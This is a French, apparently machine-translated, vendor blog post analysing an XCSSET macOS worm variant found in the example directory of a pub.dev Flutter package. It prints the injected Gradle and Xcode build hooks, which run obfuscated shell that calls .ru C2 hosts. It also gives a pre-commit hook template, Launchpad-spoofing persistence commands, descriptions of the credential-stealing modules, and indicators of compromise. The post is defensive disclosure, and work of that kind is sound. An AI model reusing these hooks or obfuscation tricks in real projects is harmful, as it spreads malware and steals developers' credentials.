Aujourd'hui, pub.dev vient s'ajouter à la liste des registres de paquets dans lesquels nous avons détecté des logiciels malveillants. Nous avons détecté une variante de XCSSET dissimulée à l'intérieur de visionneuse_de_fichiers_universelle (version 0.1.5), un package Flutter permettant de prévisualiser des fichiers, disponible sur pub.dev et comptant environ 500 téléchargements. Il s’agit du premier package compromis que nous ayons détecté sur pub.dev, le référentiel officiel de packages pour Dart et Flutter. Contrairement au dernière version de npm attaques de la chaîne d’approvisionnement Comme vous le savez peut-être, il ne s'agissait pas d'une attaque délibérée visant ce logiciel.
XCSSET est un ver macOS qui insère de manière massive un hook de compilation malveillant dans tous les projets Android Gradle, les projets Xcode et les dépôts Git qu’il parvient à trouver sur une machine compromise. L’ordinateur du responsable du projet a été infecté, et lorsqu’il a publié une nouvelle version du paquet depuis cette machine, les fichiers infectés ont été transmis avec celle-ci. Le paquet disponible sur pub.dev provient d’un dépôt GitHub compromis.
Une recherche rapide sur GitHub montre que ce phénomène persiste aujourd'hui encore, d'autres responsables de projets publiant activement des projets infectés sans s'en rendre compte :

Pour plus d'informations sur XCSSET, consultez le rapport de l'Unit 42 intitulé « The Xcode Assassin Returns » ainsi que les publications de Microsoft datant de mars et septembre 2025.
Ce que nous avons trouvé dans le colis
visionneuse_de_fichiers_universelle est un package pub.dev qui fournit des widgets d'aperçu de fichiers intégrés pour les applications Flutter : PDF, Word, Excel, vidéo, Markdown et texte brut. Le code de sa bibliothèque Dart se trouve dans lib/ est entièrement propre. Les fichiers infectés se trouvent tous dans le exemple/ répertoire, qui est fourni dans l'archive tar de pub.dev mais qui n'est jamais compilé lorsque le paquet est utilisé en tant que dépendance. Il suffit d'ajouter visionneuse_de_fichiers_universelle à votre pubspec.yaml et le fait de compiler votre propre application ne déclenche rien. Le risque concerne uniquement les personnes qui clonent le dépôt et compilent explicitement l'application d'exemple en local. Il ne s'agit pas d'une attaque ciblée contre le paquet ou ses dépendances. Le ver s'est simplement greffé sur tous les fichiers de compilation qu'il a trouvés sur la machine infectée du responsable du paquet, et la plupart des utilisateurs de ce paquet ne seront jamais affectés.
Trois configurations de compilation distinctes ont été infectées, chacune ayant été infectée indépendamment par les modules de ver de XCSSET :
exemple/android/app/build.gradle.kts contient un preBuild hook injecté par le android_finder module :
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstitue xxd lors de l'exécution afin de contourner les scanners basés sur des chaînes de caractères. Le bloc hexadécimal se décode en une chaîne « curl to » 5yotmxcc54l9xda[.]ru/a avec le tag de campagne p=android_kotlin. Cette commande s'exécute en arrière-plan à chaque compilation Gradle, et ses résultats sont ignorés.
exemple/ios/Runner.xcodeproj/project.pbxproj et exemple/macos/Runner.xcodeproj/project.pbxproj les deux contiennent un PBXBuildRule entrée qui se déclenche lorsqu'un .md Le fichier est traité lors d'une compilation :
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 est un paramètre de compilation défini dans le même fichier. Pour iOS, il est obscurci en base64 (printf bdase64 | tr -d d), en indiquant qdgs232i-q[.]ru avec le tag p=xcode_rule. Sous macOS, il est obfusqué en hexadécimal (printf xxVd | tr -d V), en indiquant ejntin6hkjt7gj2[.]ru avec la même balise. Les deux se déclenchent lors de la compilation du projet.
La chaîne de contamination
XCSSET se compose de plusieurs étapes et modules, chacun remplissant une fonction spécifique.
Étapes
- Étape 1 : le hook de compilation contacte le C2 et reçoit en retour un script qui effectue une nouvelle requête en indiquant le système d'exploitation et le nom d'utilisateur
- Étape 2 : le serveur renvoie un script shell chiffré qui récupère le numéro de série du matériel et les paramètres régionaux, puis télécharge le chargeur principal vers
/tmp/h, compile un bundle d'application invisible autour de celui-ci, le lance, puis supprime les deux en moins de dix secondes - Étape 3 : le chargeur est un AppleScript compilé, exécutable uniquement, qui se déchiffre lui-même à l'aide de l'algorithme AES-256-CBC avec une clé générée quotidiennement, puis exécute la charge utile déchiffrée en mémoire
- Étape 4 : la charge utile déchiffrée constitue le cœur de l'orchestrateur qui gère tous les modules
Modules de propagation
android_finder: injecte un fichier malveillantpreBuilds'introduire dans tous les projets Gradle Android présents sur la machine. Tout développeur qui compile l'un de ces projets est lui aussi infectégit_finder: écrit un fichier malveillantpré-validationSe connecte à chaque dépôt Git présent sur la machine. Se déclenche à chaque commit.replicator_finder: injecte une phase de compilation malveillante dans chaque projet Xcode présent sur la machine. Tout développeur qui compile l'un de ces projets est infecté
Persistance
persister: remplace la vignette Launchpad dans le Dock par un faux ensemble d'applications qui relance la chaîne à chaque fois que l'utilisateur clique dessus. Il survit aux redémarrages et ne laisse aucune trace dans les emplacements de persistance standard.
Modules antivol
browser_remote: extrait l'entrée du trousseau « Safe Storage » de Chrome afin d'intercepter sa clé de chiffrement régénérée, puis exfiltre les mots de passe enregistrés, les cookies et les jetons de sessionsafari_remote: installe un faux ensemble de fichiers Safari et extrait les données locales de Safarifirefox_data: dépose un fichier binaire natif et exfiltre les identifiants de Firefoxtdesktop: désactive Telegram, le remplace par une version infectée par un cheval de Troie et cible les données de sessionnotes_app: attend que les applications « Notes », « Rappels » ou « Calendrier » s'ouvrent, puis exfiltre leurs donnéespresse-papiers: lit et extrait le contenu du presse-papiersapplication_paramètres: se fait passer pour « Paramètres système » et utilisesudopour l'élévation des privilègesdata_folders_finder: parcourt le répertoire personnel et extrait des fichiers des dossiers ciblés
Tous les modules de vol sont récupérés depuis le C2 et exécutés en mémoire via osascript. Aucune donnée n'est enregistrée sur le disque. Les données volées sont chiffrées à l'aide de l'algorithme AES-256-CBC avant d'être envoyées vers /u.
Comment cela se propage-t-il ?
Avant d'exécuter tout module de vol, le chargeur envoie trois modules de type « ver ».
android_finder
android_finder recherche les fichiers de compilation Android dans le répertoire personnel :
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Films -o -name Bibliothèque ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -imprimerPour chaque correspondance, il vérifie qu’il s’agit bien d’un véritable module Android avant de l’injecter, puis élimine d’abord toute infection antérieure. Il prend en charge à la fois les fichiers de compilation Kotlin DSL et Groovy. Tout développeur qui compile ensuite l’un de ces projets est infecté, tout comme toute personne qui clone le dépôt et le compile après lui.
git_finder
git_finder trouve chaque .git répertoire sur la machine et y écrit un fichier malveillant pré-validation s'ancrer dans chacun d'entre eux. La charge utile du hook est polymorphe : le domaine C2, le schéma de chiffrement et la profondeur d'imbrication sont tous aléatoires à chaque infection. Le résultat se présente comme suit :
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Chaque commit effectué par le développeur, dans n'importe lequel de ses dépôts, redéclenche silencieusement toute la chaîne. Si un hook existe déjà, le module supprime les lignes injectées précédemment via sed avant d'ajouter.
replicator_finder
replicator_finder Il s'agit du vecteur XCSSET classique. Il analyse project.pbxproj fichiers, vérifie si archiveVersion = et Section PBXShellScriptBuildPhase, et insère une phase de compilation « Run Script ». Tout développeur qui ouvre et compile un projet Xcode infecté est touché. Ce phénomène est documenté depuis 2020 et fait toujours partie de la boîte à outils, aux côtés des deux autres vecteurs d'attaque.
La persistance se cache dans le Dock
Le persister Le module permet de vérifier si cela résiste à un redémarrage. C'est le cas, et ce, d'une manière qui échappe aux contrôles de persistance standard.
Il télécharge dockutil à partir du C2 (/d/dockutil_arm64 ou /d/dockutil_amd64), ad-hoc le signe, puis crée un faux ensemble d'applications sous ~/Bibliothèque/Caches/vyf[.]lttzw[.]snjgwq/. Le contenu de l'offre : Info.plist a été modifié pour se faire passer pour Launchpad :
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistIl utilise ensuite dockutil pour remplacer la véritable icône du Launchpad dans le Dock par le faux bundle. En cliquant sur « Launchpad », on ouvre le véritable Launchpad (open -b com.apple.launchpad.launcher) et exécute le script malveillant en même temps. À chaque redémarrage, il s'exécute dès que l'utilisateur clique pour la première fois sur Launchpad.
Modules « Stealer »
Une fois la propagation et la persistance mises en place, le chargeur déploie les modules de vol. Chacun d’entre eux est récupéré depuis /s/<module> et exécuté via osascript -e "$(curl ...)". Rien n'est enregistré sur le disque.
browser_remote télécharge un fichier binaire natif (cd_arm64 ou cd_amd64) du C2, supprime le fichier de Chrome GoogleUpdater et Mise à jour logicielle inscriptions et courses sécurité suppression-mot-de-passe-générique pour supprimer l'entrée du trousseau « Safe Storage » de Chrome. La suppression de cette entrée oblige Chrome à régénérer sa clé de chiffrement, que le fichier binaire intercepte afin de déchiffrer les mots de passe, les cookies et les jetons de session enregistrés.
safari_remote place un faux ensemble de fichiers Safari dans le dossier ~/Bibliothèque/ASafari/ et ~/Bibliothèque/Caches/com[.]beta[.]Safari et extrait les données locales de Safari.
firefox_data téléchargements hbdm_arm64 ou hbdm_amd64 et l'appelle avec -c mot de passe --zip, ce qui donne un firefox_browser_data.zip mis en ligne sur /u.
tdesktop s'exécute killall -9 Telegram, télécharge une version reconditionnée Telegram.app à partir du C2, puis dépose le fichier de remplacement à l'emplacement prévu grâce à une signature ad hoc. Il cible les données de session de Telegram provenant à la fois du chemin classique (~/Bibliothèque/Application Support/Telegram Desktop/tdata) et le chemin d'accès au conteneur en mode sandbox.
notes_app attend que les applications « Notes », « Rappels » ou « Calendrier » soient en cours d'exécution, s'intègre dans le bundle de l'application concernée, puis exfiltre les données notes_app_data.zip.
presse-papiers gère un pbpaste entre dans une boucle et exfiltre le contenu du presse-papiers.
application_paramètres crée un faux ensemble de paramètres système répertorié sous « Préférences Système » et « Préférences » dans Spotlight, puis télécharge un fichier binaire distinct mac_bin_daemon_app à partir du C2, et exécute des commandes via sudo -u pour l'escalade des privilèges.
data_folders_finder parcourt le répertoire personnel et exfiltre des fichiers depuis les dossiers ciblés vers /u.
Toutes les données volées sont transmises à /u via une requête POST multipart, chiffrée à l'aide d'une clé AES-256-CBC.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Indicateurs de compromission
Domaines C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artéfacts de fichiers
project.pbxprojcontenant unPBXBuildRuleavecsh -c "${A3EA261}"build.gradleoubuild.gradle.ktscontenant un appel de shell obscurci utilisantprintf xAxd | tr -d Apour reconstruirexxd.git/hooks/pre-commitcontenantbase64 --decode | base64 --decodeouxxd -p -r | xxd -p -r

